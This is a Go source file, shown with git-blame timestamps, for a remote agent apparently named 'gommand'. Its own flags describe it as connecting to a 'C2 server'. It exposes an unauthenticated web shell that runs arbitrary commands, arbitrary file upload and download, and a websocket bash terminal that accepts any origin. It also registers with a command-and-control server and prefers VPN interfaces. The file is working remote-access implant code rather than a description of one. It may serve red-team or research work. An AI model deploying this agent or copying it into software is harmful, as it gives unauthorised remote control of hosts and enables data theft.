2025-01-28 09:02:18 +01:00
package main
import (
// "bytes"
2025-01-31 16:43:35 +01:00
// "bufio"
2025-01-28 17:01:58 +01:00
"bytes"
2025-02-05 12:59:26 +01:00
"embed"
2025-02-13 16:45:00 +01:00
"encoding/json"
2025-06-25 16:38:34 +02:00
"flag"
2025-01-28 09:02:18 +01:00
"fmt"
"html/template"
"io"
2025-02-11 15:11:22 +01:00
"log"
2025-05-23 16:52:28 +02:00
"net"
2025-01-28 09:02:18 +01:00
"net/http"
2025-02-04 16:29:05 +01:00
"net/url"
2025-01-28 09:02:18 +01:00
"os"
"os/exec"
"os/user"
"path/filepath"
2025-01-31 16:43:35 +01:00
"regexp"
2025-06-25 16:38:34 +02:00
"strconv"
2025-02-04 16:29:05 +01:00
"strings"
2025-05-23 16:52:28 +02:00
"sync"
2025-02-11 15:11:22 +01:00
"github.com/creack/pty"
"github.com/gorilla/websocket"
2025-05-23 16:52:28 +02:00
"gommand/src/agentconnector"
2025-01-28 09:02:18 +01:00
)
type PageData struct {
CurrentDir string
2025-02-06 16:20:17 +01:00
Hostname string
2025-01-28 09:02:18 +01:00
CurrentUsername string
CommandLog [ ] CommandOutput
}
type CommandOutput struct {
Command string
Output string
Error string
}
2025-05-23 16:52:28 +02:00
// Contains the list of commands, which will be parsed recursively
// through executeCommandTree() and in the end executeCommand()
2025-01-31 16:43:35 +01:00
type CommandNode struct {
Operator string
Left * CommandNode
Right * CommandNode
Command string
}
2025-02-05 12:59:26 +01:00
//go:embed templates/*
var templateFiles embed . FS
//go:embed static/*
var staticFiles embed . FS
2025-01-28 09:02:18 +01:00
var commandLog [ ] CommandOutput
2025-01-31 16:43:35 +01:00
var variables = make ( map [ string ] string )
2025-02-05 12:59:26 +01:00
var tmpl = template . Must ( template . ParseFS ( templateFiles , "templates/index.html" ) )
2025-01-31 16:43:35 +01:00
func expandCommandSubstitution ( command string , currentDir string ) ( string , error ) {
// Do not expand single quoted strings
reSingleQuotes := regexp . MustCompile ( ` '([^']*)' ` )
singleQuotedStrings := reSingleQuotes . FindAllString ( command , - 1 )
placeholder := "\x00PLACEHOLDER\x00"
command = reSingleQuotes . ReplaceAllLiteralString ( command , placeholder )
// Expand variables
reVar := regexp . MustCompile ( ` \$(\w+) ` )
command = reVar . ReplaceAllStringFunc ( command , func ( match string ) string {
varName := match [ 1 : ]
if val , exists := variables [ varName ] ; exists {
return val
}
if envVal , exists := os . LookupEnv ( varName ) ; exists {
return envVal
}
return match
} )
// Restore single-quoted strings and avoid expansion inside them
for _ , sq := range singleQuotedStrings {
command = strings . Replace ( command , placeholder , sq , 1 )
}
// expand $(...) command substitution
re := regexp . MustCompile ( ` \$\(([^()]+)\) ` )
for {
match := re . FindStringSubmatch ( command )
if match == nil {
break
}
subCommand := strings . TrimSpace ( match [ 1 ] )
subOutput , err := executeCommandTree ( parseCommandTree ( subCommand ) , currentDir )
if err != nil {
return "" , err
}
command = strings . Replace ( command , match [ 0 ] , strings . TrimSpace ( subOutput ) , 1 )
}
return command , nil
}
func setVariable ( command string ) bool {
re := regexp . MustCompile ( ` ^(\w+)=(.*)$ ` )
match := re . FindStringSubmatch ( command )
if match == nil {
return false
}
varName := match [ 1 ]
value := strings . Trim ( match [ 2 ] , ` " ` )
if strings . HasPrefix ( command , "export " ) {
os . Setenv ( varName , value )
} else {
variables [ varName ] = value
}
return true
}
func parseCommandTree ( command string ) * CommandNode {
if strings . Contains ( command , ";" ) {
parts := strings . SplitN ( command , ";" , 2 )
return & CommandNode {
Operator : ";" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : parseCommandTree ( strings . TrimSpace ( parts [ 1 ] ) ) ,
}
} else if strings . Contains ( command , ">" ) {
parts := strings . SplitN ( command , ">" , 2 )
return & CommandNode {
Operator : ">" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : & CommandNode { Command : strings . TrimSpace ( parts [ 1 ] ) } ,
}
} else if strings . Contains ( command , "<" ) {
parts := strings . SplitN ( command , "<" , 2 )
return & CommandNode {
Operator : "<" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : & CommandNode { Command : strings . TrimSpace ( parts [ 1 ] ) } ,
}
} else if strings . Contains ( command , "|" ) {
parts := strings . SplitN ( command , "|" , 2 )
return & CommandNode {
Operator : "|" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : parseCommandTree ( strings . TrimSpace ( parts [ 1 ] ) ) ,
}
} else if strings . Contains ( command , "&&" ) {
parts := strings . SplitN ( command , "&&" , 2 )
return & CommandNode {
Operator : "&&" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : parseCommandTree ( strings . TrimSpace ( parts [ 1 ] ) ) ,
}
} else if strings . Contains ( command , "||" ) {
parts := strings . SplitN ( command , "||" , 2 )
return & CommandNode {
Operator : "||" ,
Left : parseCommandTree ( strings . TrimSpace ( parts [ 0 ] ) ) ,
Right : parseCommandTree ( strings . TrimSpace ( parts [ 1 ] ) ) ,
}
}
return & CommandNode { Command : command }
}
func executeCommandTree ( node * CommandNode , currentDir string ) ( string , error ) {
if node == nil {
return "" , nil
}
switch node . Operator {
case "&&" :
leftOutput , err := executeCommandTree ( node . Left , currentDir )
if err != nil {
return "" , err
}
if leftOutput != "" {
return executeCommandTree ( node . Right , currentDir )
}
return executeCommandTree ( node . Right , currentDir )
2025-02-11 15:11:22 +01:00
// TODO: or operator does not work correctly, fix it
2025-01-31 16:43:35 +01:00
case "||" :
leftOutput , err := executeCommandTree ( node . Left , currentDir )
if err == nil && leftOutput != "" {
return leftOutput , nil
}
return executeCommandTree ( node . Right , currentDir )
case "|" :
leftOutput , err := executeCommandTree ( node . Left , currentDir )
if err != nil {
return "" , err
}
cmdArgs := parseCommandWithQuotes ( node . Right . Command )
if len ( cmdArgs ) == 0 {
return "" , fmt . Errorf ( "Invalid Command" )
}
cmd := exec . Command ( cmdArgs [ 0 ] , cmdArgs [ 1 : ] ... )
cmd . Dir = currentDir
cmd . Stdin = strings . NewReader ( leftOutput )
var outputBuffer bytes . Buffer
cmd . Stdout = & outputBuffer
cmd . Stderr = & outputBuffer
if err := cmd . Run ( ) ; err != nil {
return "" , err
}
return outputBuffer . String ( ) , nil
case ">" :
leftOutput , err := executeCommandTree ( node . Left , currentDir )
if err != nil {
return "" , err
}
file , err := os . Create ( strings . TrimSpace ( node . Right . Command ) )
if err != nil {
return "" , err
}
defer file . Close ( )
_ , err = file . WriteString ( leftOutput )
return "" , err
case "<" :
file , err := os . Open ( strings . TrimSpace ( node . Right . Command ) )
if err != nil {
return "" , err
}
defer file . Close ( )
cmdArgs := parseCommandWithQuotes ( node . Left . Command )
if len ( cmdArgs ) == 0 {
return "" , fmt . Errorf ( "Invalid command" )
}
cmd := exec . Command ( cmdArgs [ 0 ] , cmdArgs [ 1 : ] ... )
cmd . Dir = currentDir
cmd . Stdin = file
var outputBuffer bytes . Buffer
cmd . Stdout = & outputBuffer
cmd . Stderr = & outputBuffer
if err := cmd . Run ( ) ; err != nil {
return "" , err
}
return outputBuffer . String ( ) , nil
case ";" :
leftOutput , _ := executeCommandTree ( node . Left , currentDir )
rightOutput , _ := executeCommandTree ( node . Right , currentDir )
return leftOutput + rightOutput , nil
}
return executeSimpleCommand ( node . Command , currentDir ) . Output , nil
}
2025-01-28 09:02:18 +01:00
func executeCommand ( command string , args [ ] string , dir string ) ( string , error ) {
cmd := exec . Command ( command , args ... )
cmd . Dir = dir
output , err := cmd . CombinedOutput ( )
return string ( output ) , err
}
func executeSimpleCommand ( command string , currentDir string ) CommandOutput {
var cmdOutput CommandOutput
2025-01-28 17:01:58 +01:00
// args := strings.Fields(command)
args := parseCommandWithQuotes ( command )
if len ( args ) == 0 {
2025-01-28 09:02:18 +01:00
return cmdOutput
}
2025-01-28 17:01:58 +01:00
cmd := exec . Command ( args [ 0 ] , args [ 1 : ] ... )
2025-01-28 09:02:18 +01:00
cmd . Dir = currentDir
output , err := cmd . CombinedOutput ( )
cmdOutput . Command = command
cmdOutput . Output = string ( output )
if err != nil {
cmdOutput . Error = err . Error ( )
}
return cmdOutput
}
func changeDirectory ( command string , args [ ] string , currentDir * string ) CommandOutput {
var cmdOutput CommandOutput
if len ( args ) == 0 {
homeDir , _ := os . UserHomeDir ( )
err := os . Chdir ( homeDir )
if err != nil {
cmdOutput = CommandOutput {
Command : command ,
Error : "Failed to change to home directory: " + err . Error ( ) ,
}
} else {
cmdOutput = CommandOutput {
Command : command ,
Output : "Changed to home directory: " + homeDir ,
}
* currentDir = homeDir
}
} else {
newDir := args [ 0 ]
err := os . Chdir ( newDir )
if err != nil {
cmdOutput = CommandOutput {
Command : command + " " + newDir ,
Error : "Failed to change to directory: " + err . Error ( ) ,
}
} else {
cmdOutput = CommandOutput {
Command : command + " " + newDir ,
Output : "Changed to directory: " + newDir ,
}
* currentDir = newDir
}
}
return cmdOutput
}
func fileUploadHandler ( w http . ResponseWriter , r * http . Request ) {
2025-02-04 16:29:05 +01:00
if r . Method != http . MethodPost {
http . Error ( w , "Invalid request method" , http . StatusMethodNotAllowed )
return
}
2025-01-28 09:02:18 +01:00
2025-02-04 16:29:05 +01:00
file , header , err := r . FormFile ( "file" )
if err != nil {
http . Error ( w , "Failed to upload file" , http . StatusInternalServerError )
return
}
defer file . Close ( )
2025-01-28 09:02:18 +01:00
2025-02-04 16:29:05 +01:00
uploadDir := r . FormValue ( "uploadDir" )
if uploadDir == "" {
uploadDir = "./"
}
2025-01-28 09:02:18 +01:00
2025-02-04 16:29:05 +01:00
os . MkdirAll ( uploadDir , os . ModePerm )
destPath := filepath . Join ( uploadDir , header . Filename )
out , err := os . Create ( destPath )
if err != nil {
http . Error ( w , "Failed to save file" , http . StatusInternalServerError )
return
}
defer out . Close ( )
2025-01-28 09:02:18 +01:00
2025-02-04 16:29:05 +01:00
_ , err = io . Copy ( out , file )
if err != nil {
http . Error ( w , "Failed to write file" , http . StatusInternalServerError )
return
2025-01-28 09:02:18 +01:00
}
2025-02-04 16:29:05 +01:00
w . Write ( [ ] byte ( "File uploaded successfully" ) )
2025-01-28 09:02:18 +01:00
}
2025-02-04 16:29:05 +01:00
func fileDownloadHandler ( w http . ResponseWriter , r * http . Request ) {
filePath := r . URL . Query ( ) . Get ( "filePath" )
if filePath == "" {
http . Error ( w , "Filepath is required" , http . StatusBadRequest )
return
}
absPath , err := filepath . Abs ( filePath )
if err != nil || ! fileExists ( absPath ) {
http . Error ( w , "File not found" , http . StatusNotFound )
return
}
w . Header ( ) . Set ( "Content-Disposition" , "attachement; filename=\"" + filepath . Base ( absPath ) + "\"" )
w . Header ( ) . Set ( "Content-Type" , "application/octet-stream" )
http . ServeFile ( w , r , absPath )
}
func fileExists ( filePath string ) bool {
_ , err := os . Stat ( filePath )
return ! os . IsNotExist ( err )
}
2025-01-28 09:02:18 +01:00
2025-01-31 16:43:35 +01:00
func processCommand ( command string , currentDir string ) CommandOutput {
var errorMsg string
2025-01-28 09:02:18 +01:00
2025-01-31 16:43:35 +01:00
// Handle variable assignments before execution
if setVariable ( command ) {
return CommandOutput { Command : command , Output : "" , Error : "" }
2025-01-28 09:02:18 +01:00
}
2025-01-31 16:43:35 +01:00
// This handles command substitution which is $(...) in bash
expandedCommand , err := expandCommandSubstitution ( command , currentDir )
2025-01-28 09:02:18 +01:00
if err != nil {
2025-01-31 16:43:35 +01:00
errorMsg = err . Error ( )
return CommandOutput { Command : command , Output : "" , Error : errorMsg }
2025-01-28 09:02:18 +01:00
}
2025-01-31 16:43:35 +01:00
tree := parseCommandTree ( expandedCommand )
output , err := executeCommandTree ( tree , currentDir )
2025-01-28 09:02:18 +01:00
if err != nil {
2025-01-31 16:43:35 +01:00
errorMsg = err . Error ( )
2025-01-28 09:02:18 +01:00
}
2025-01-31 16:43:35 +01:00
return CommandOutput { Command : command , Output : output , Error : errorMsg }
2025-01-28 09:02:18 +01:00
}
2025-01-28 17:01:58 +01:00
func parseCommandWithQuotes ( command string ) [ ] string {
var args [ ] string
var current strings . Builder
inSingleQuote , inDoubleQuote := false , false
for i := 0 ; i < len ( command ) ; i ++ {
c := command [ i ]
switch c {
case '\'' :
if ! inDoubleQuote {
inSingleQuote = ! inSingleQuote
continue
}
case '"' :
if ! inSingleQuote {
inDoubleQuote = ! inDoubleQuote
continue
}
case ' ' :
if ! inSingleQuote && ! inDoubleQuote {
if current . Len ( ) > 0 {
args = append ( args , current . String ( ) )
current . Reset ( )
}
continue
}
case '\\' :
// Handle escaped characters
if i + 1 < len ( command ) {
next := command [ i + 1 ]
if next == '"' || next == '\'' || next == '\\' {
current . WriteByte ( next )
i ++
continue
}
}
}
current . WriteByte ( c )
}
// Add the last argument
if current . Len ( ) > 0 {
args = append ( args , current . String ( ) )
}
return args
}
2025-01-28 09:02:18 +01:00
func handler ( w http . ResponseWriter , r * http . Request ) {
currentDir , _ := os . Getwd ( )
2025-02-06 16:20:17 +01:00
displayDir := filepath . Base ( currentDir )
2025-01-28 09:02:18 +01:00
currentUser , _ := user . Current ( )
currentUsername := currentUser . Username
2025-02-06 16:20:17 +01:00
hostname , _ := os . Hostname ( )
2025-01-28 09:02:18 +01:00
if r . Method == http . MethodPost {
input := r . FormValue ( "command" )
parts := strings . Fields ( input )
if len ( parts ) > 0 {
command := parts [ 0 ]
args := parts [ 1 : ]
if command == "cd" {
cmdOutput := changeDirectory ( command , args , & currentDir )
2025-02-06 16:20:17 +01:00
displayDir = filepath . Base ( currentDir )
2025-01-28 09:02:18 +01:00
commandLog = append ( commandLog , cmdOutput )
2025-02-04 16:29:05 +01:00
} else if command == "download" {
if len ( args ) < 1 {
http . Error ( w , "Usage: download <filePath>" , http . StatusBadRequest )
return
}
2025-07-09 16:43:28 +02:00
http . Redirect ( w , r , "download?filePath=" + url . QueryEscape ( args [ 0 ] ) , http . StatusFound )
2025-02-04 16:29:05 +01:00
return
2025-01-28 09:02:18 +01:00
} else {
2025-01-28 17:01:58 +01:00
cmdOutput := processCommand ( input , currentDir )
2025-01-28 09:02:18 +01:00
commandLog = append ( commandLog , cmdOutput )
}
}
}
data := PageData {
2025-02-06 16:20:17 +01:00
CurrentDir : displayDir ,
Hostname : hostname ,
2025-01-28 09:02:18 +01:00
CurrentUsername : currentUsername ,
CommandLog : commandLog ,
}
tmpl . Execute ( w , data )
}
2025-06-26 13:56:50 +02:00
func ipv4Addr ( iface * net . Interface ) ( string , bool ) {
addrs , _ := iface . Addrs ( )
for _ , a := range addrs {
if ip , _ , _ := net . ParseCIDR ( a . String ( ) ) ; ip . To4 ( ) != nil {
return ip . String ( ) , true
}
}
return "" , false
}
func autoInterface ( ) string {
ifaces , _ := net . Interfaces ( )
// Interfaces whose IPv4 we want before anything else, in order.
var preferredPrefixes = [ ] string { "wg" , "tun" , "tailscale" }
for _ , prefix := range preferredPrefixes {
for _ , in := range ifaces {
if strings . HasPrefix ( in . Name , prefix ) && in . Flags & net . FlagUp != 0 {
if ip , ok := ipv4Addr ( & in ) ; ok {
return ip
}
}
}
}
for _ , in := range ifaces {
if in . Flags & net . FlagLoopback == 0 && in . Flags & net . FlagUp != 0 {
if ip , ok := ipv4Addr ( & in ) ; ok {
return ip
}
}
}
return ""
}
func startInteractiveServer ( cliInteractivePort , networkInterface string ) ( string , net . Listener ) {
2025-05-23 16:52:28 +02:00
2025-01-28 09:02:18 +01:00
http . HandleFunc ( "/" , handler )
http . HandleFunc ( "/upload" , fileUploadHandler )
2025-02-04 16:29:05 +01:00
http . HandleFunc ( "/download" , fileDownloadHandler )
2025-02-11 15:11:22 +01:00
http . HandleFunc ( "/terminal" , terminalHandler )
2025-02-05 12:59:26 +01:00
http . Handle ( "/static/" , http . FileServer ( http . FS ( staticFiles ) ) )
2025-05-23 16:52:28 +02:00
2025-06-25 16:38:34 +02:00
var addPort string
var listener net . Listener
var err error
2025-06-26 13:56:50 +02:00
var host string
if networkInterface != "" {
iface , err := net . InterfaceByName ( networkInterface )
if err != nil {
log . Fatalf ( "interface %q not found: %v" , networkInterface , err )
}
if ip , ok := ipv4Addr ( iface ) ; ok {
host = ip
} else {
log . Fatalf ( "Interface %q has no IPv4 address" , networkInterface )
}
2025-06-25 16:38:34 +02:00
} else {
2025-06-26 13:56:50 +02:00
host = autoInterface ( )
2025-06-25 16:38:34 +02:00
}
2025-06-26 13:56:50 +02:00
port := cliInteractivePort
if port == "" {
port = "0"
}
listener , err = net . Listen ( "tcp4" , net . JoinHostPort ( host , port ) )
2025-05-23 16:52:28 +02:00
if err != nil {
2025-06-26 13:56:50 +02:00
log . Fatal ( err )
2025-05-23 16:52:28 +02:00
}
2025-06-26 13:56:50 +02:00
addPort = strconv . Itoa ( listener . Addr ( ) . ( * net . TCPAddr ) . Port )
2025-06-25 16:38:34 +02:00
return addPort , listener
}
2025-06-26 13:56:50 +02:00
func connectionArgs ( ) ( string , string , string ) {
2025-06-25 16:38:34 +02:00
var serverAddress string
var serverWebsocketPort string
var interactivePort string
2025-06-26 13:56:50 +02:00
var networkInterface string
2025-06-25 16:38:34 +02:00
2025-07-02 12:59:26 +02:00
flag . StringVar ( & serverAddress , "server-address" , "127.0.0.1" , "IP Address of the C2 server." )
flag . StringVar ( & serverWebsocketPort , "server-port" , "5555" , "Websocket port of the C2 server." )
2025-06-25 16:38:34 +02:00
flag . StringVar ( & interactivePort , "interactive-port" , "" , "Port to connect directly to the agent's webapp. Port will be random if not set." )
2025-07-02 12:59:26 +02:00
flag . StringVar ( & networkInterface , "network-interface" , "" , "Network interface to bind to. Will bind to the first non loopback interface if not set. VPN interfaces will be preferred." )
2025-06-26 13:56:50 +02:00
2025-06-25 16:38:34 +02:00
flag . Parse ( )
2025-05-23 16:52:28 +02:00
2025-07-02 12:59:26 +02:00
log . Println ( "Server address is at " , serverAddress )
log . Println ( "Server websocket port is " , serverWebsocketPort )
2025-06-25 16:38:34 +02:00
webSocketAddr := serverAddress + ":" + serverWebsocketPort
2025-06-26 13:56:50 +02:00
return webSocketAddr , interactivePort , networkInterface
2025-05-23 16:52:28 +02:00
}
func main ( ) {
2025-06-25 16:38:34 +02:00
2025-06-26 13:56:50 +02:00
webSocketAddr , cliInteractivePort , networkInterface := connectionArgs ( )
2025-06-25 16:38:34 +02:00
2025-06-26 13:56:50 +02:00
addPort , listener := startInteractiveServer ( cliInteractivePort , networkInterface )
2025-06-25 16:38:34 +02:00
2025-06-26 13:56:50 +02:00
ipv4Addr := listener . Addr ( ) . ( * net . TCPAddr ) . IP . String ( )
log . Printf ( "You can connect to %s:%d through your browser as well" ,
ipv4Addr ,
listener . Addr ( ) . ( * net . TCPAddr ) . Port )
2025-05-23 16:52:28 +02:00
var wg sync . WaitGroup
wg . Add ( 2 )
go func ( ) {
defer wg . Done ( )
log . Fatal ( http . Serve ( listener , nil ) )
} ( )
go func ( ) {
defer wg . Done ( )
2025-06-26 13:56:50 +02:00
agentconnector . StartServer ( addPort , webSocketAddr , ipv4Addr )
2025-05-23 16:52:28 +02:00
} ( )
wg . Wait ( )
2025-01-28 09:02:18 +01:00
}
2025-02-11 15:11:22 +01:00
var upgrader = websocket . Upgrader {
ReadBufferSize : 1024 ,
WriteBufferSize : 1024 ,
CheckOrigin : func ( r * http . Request ) bool { return true } ,
}
func terminalHandler ( w http . ResponseWriter , r * http . Request ) {
ws , err := upgrader . Upgrade ( w , r , nil )
if err != nil {
log . Printf ( "Websocket upgrade error: %v" , err )
return
}
defer ws . Close ( )
cmd := exec . Command ( "bash" )
2025-02-13 16:45:00 +01:00
cmd . Env = append ( os . Environ ( ) , "TERM=xterm-256color" )
2025-02-11 15:11:22 +01:00
ptmx , err := pty . Start ( cmd )
if err != nil {
log . Printf ( "Error starting PTY: %v" , err )
return
}
defer func ( ) { _ = ptmx . Close ( ) } ( )
go func ( ) {
buf := make ( [ ] byte , 1024 )
for {
n , err := ptmx . Read ( buf )
if err != nil {
break
}
if err := ws . WriteMessage ( websocket . BinaryMessage , buf [ : n ] ) ; err != nil {
break
}
}
} ( )
for {
2025-02-13 16:45:00 +01:00
_ , message , err := ws . ReadMessage ( )
2025-02-11 15:11:22 +01:00
if err != nil {
break
}
2025-02-13 16:45:00 +01:00
2025-05-23 16:52:28 +02:00
// This is done, so resizing works in the browser, especially resizing the terminal
2025-02-13 16:45:00 +01:00
// Check if the message is binary and starts with control prefix 0xFF.
if len ( message ) > 0 && message [ 0 ] == 0xFF {
var resizeMsg struct {
Type string ` json:"type" `
Cols uint16 ` json:"cols" `
Rows uint16 ` json:"rows" `
}
if err := json . Unmarshal ( message [ 1 : ] , & resizeMsg ) ; err == nil && resizeMsg . Type == "resize" {
err := pty . Setsize ( ptmx , & pty . Winsize {
Cols : resizeMsg . Cols ,
Rows : resizeMsg . Rows ,
X : 0 ,
Y : 0 ,
} )
if err != nil {
log . Printf ( "Error resizing PTY: %v" , err )
} else {
log . Printf ( "Resized PTY to cols: %d, rows: %d" , resizeMsg . Cols , resizeMsg . Rows )
}
continue // Do not write this message to the PTY.
}
}
// Otherwise, treat it as normal input.
2025-02-11 15:11:22 +01:00
if _ , err := ptmx . Write ( message ) ; err != nil {
break
}
}
}